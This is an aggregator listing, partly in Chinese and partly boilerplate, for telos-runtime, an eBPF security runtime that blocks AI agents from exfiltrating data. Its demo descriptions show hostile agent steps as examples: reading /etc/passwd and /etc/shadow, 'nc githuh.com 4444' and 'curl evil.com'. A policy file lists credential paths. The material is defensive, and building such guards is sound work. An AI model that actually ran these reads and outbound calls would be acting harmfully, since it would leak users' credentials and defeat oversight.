AI Skill Hub 推荐使用：Telos安全运行时 是一款优质的Agent工作流。AI 综合评分 7.5 分，在同类工具中表现稳健。如果你正在寻找可靠的Agent工作流解决方案，这是一个值得深入了解的选择。
Telos安全运行时 是一套完整的 AI Agent 自动化工作流方案。通过可视化的节点编排，将复杂的多步骤任务拆解为清晰的自动化流程，实现全程无人值守的智能处理。支持与数百种外部服务和 API 无缝集成，适合构建数据处理管线、业务自动化和 AI 辅助决策系统。
Telos安全运行时 是一套完整的 AI Agent 自动化工作流方案。通过可视化的节点编排，将复杂的多步骤任务拆解为清晰的自动化流程，实现全程无人值守的智能处理。支持与数百种外部服务和 API 无缝集成，适合构建数据处理管线、业务自动化和 AI 辅助决策系统。
# 方式一：pip 安装（推荐）
pip install telos-runtime
# 方式二：虚拟环境安装（推荐生产环境）
python -m venv .venv
source .venv/bin/activate # Windows: .venv\Scripts\activate
pip install telos-runtime
# 方式三：从源码安装（获取最新功能）
git clone https://github.com/nevinshine/telos-runtime
cd telos-runtime
pip install -e .
# 验证安装
python -c "import telos_runtime; print('安装成功')"
# 命令行使用
telos-runtime --help
# 基本用法
telos-runtime input_file -o output_file
# Python 代码中调用
import telos_runtime
# 示例
result = telos_runtime.process("input")
print(result)
# telos-runtime 配置文件示例（config.yml） app: name: "telos-runtime" debug: false log_level: "INFO" # 运行时指定配置文件 telos-runtime --config config.yml # 或通过环境变量配置 export TELOS_RUNTIME_API_KEY="your-key" export TELOS_RUNTIME_OUTPUT_DIR="./output"
| Feature | Description |
|---|---|
| Intent-Based Policy | Agents declare goals in natural language — policies are auto-generated |
| Dual-Gate Enforcement | Separate Execution Gate (execve) and Network Gate (socket_connect) |
| Dynamic IFC | Touching sensitive files elevates taint and triggers Network Slam |
| Domain Intelligence | O(1) SQLite-backed scoring with typosquat and homoglyph detection |
| LOLBin Defense | Blocks living-off-the-land binaries per-intent |
| Dynamic Drawbridge | Network windows auto-expire after intent TTL |
| DNS Interception | Transparent proxy with real-time domain classification |
| Mirage Deception | Honeypot files that trap and fingerprint attacker behavior |
| Fail-Open/Closed Watchdog | Bidirectional heartbeat between eBPF and Cortex planes |
| Prometheus Metrics | Enterprise-grade observability on :9094/metrics |
| Hyperion XDP Bridge | Malicious IPs pushed to XDP for wire-speed packet drops |
---
pip install -r cortex/requirements.txt
TELOS_DASH_TOKEN=change-me python3 web_dashboard.py
TELOS_DASH_TOKEN=change-me python3 web_dashboard.py --host 0.0.0.0 ``` The Cortex gRPC control plane binds to 127.0.0.1 by default and requires clients to include TELOS_CORTEX_AUTH_TOKEN as a bearer token in gRPC metadata. Only override the bind host for a remote deployment after adding a trusted network boundary.
---
```bash git clone https://github.com/nevinshine/telos-runtime.git cd telos-runtime
sudo -E telos start
export TELOS_CORTEX_AUTH_TOKEN="same-token-used-by-cortex"
python3 demo_payload.pyWhat happens: 1. Agent declares intent: "I need to download a file from the server" 2. curl executes successfully (it was authorized) 3. nc is BLOCKED — the Execution Gate denies it because it was never part of the declared intent 4. Agent declares malicious intent: "I need to share credentials" 5. cat /etc/passwd is BLOCKED — sensitive file access denied 6. nc githuh.com 4444 is BLOCKED — both the binary and the typosquatted domain are denied
sudo -E telos start
export TELOS_CORTEX_AUTH_TOKEN="same-token-used-by-cortex"
sudo -E python3 demo_ifc.pyWhat happens: 1. Agent declares: "I need to check security compliance" 2. Agent reads /etc/shadow — eBPF elevates taint to CRITICAL 3. Agent tries curl evil.com — Network Slam kicks in, connection killed with -EPERM 4. Data never leaves the machine
```bash
./scripts/download_model.sh ```
Edit cortex/policy.yaml to customize security boundaries:
execution:
default_mode: enforce # enforce | audit
safe_binaries: # Always allowed (system essentials)
- cat
- ls
- curl
network:
always_allowed: # Pre-authorized destinations
- api.weather.com
- github.com
filesystem:
sensitive_paths: # Files that trigger taint elevation
- /etc/shadow
- /etc/passwd
- ~/.ssh/id_*---
创新的内核级AI安全方案，技术栈前沿（eBPF+LLM），但社区认可度有限，适合安全研究方向深入探索。
AI Skill Hub 为第三方内容聚合平台，本页面信息基于公开数据整理，不对工具功能和质量作任何法律背书。
建议在沙箱或测试环境中充分验证后，再部署至生产环境，并做好必要的安全评估。
✅ MIT 协议 — 最宽松的开源协议之一，可自由商用、修改、分发，仅需保留版权声明。
总体来看，Telos安全运行时 是一款质量良好的Agent工作流，在同类工具中具备一定竞争力。AI Skill Hub 将持续追踪其更新动态，建议收藏备用，结合自身场景选择合适时机引入使用。
| 原始名称 | telos-runtime |
| 原始描述 | 开源AI工作流：A closed-loop security runtime preventing "The Great Exfiltration" and Indirect 。⭐10 · Python |
| Topics | AI安全eBPF工作流LLM安全数据防护 |
| GitHub | https://github.com/nevinshine/telos-runtime |
| License | MIT |
| 语言 | Python |
收录时间：2026-05-22 · 更新时间：2026-05-23 · License：MIT · AI Skill Hub 不对第三方内容的准确性作法律背书。
选择 Agent 类型，复制安装指令后粘贴到对应客户端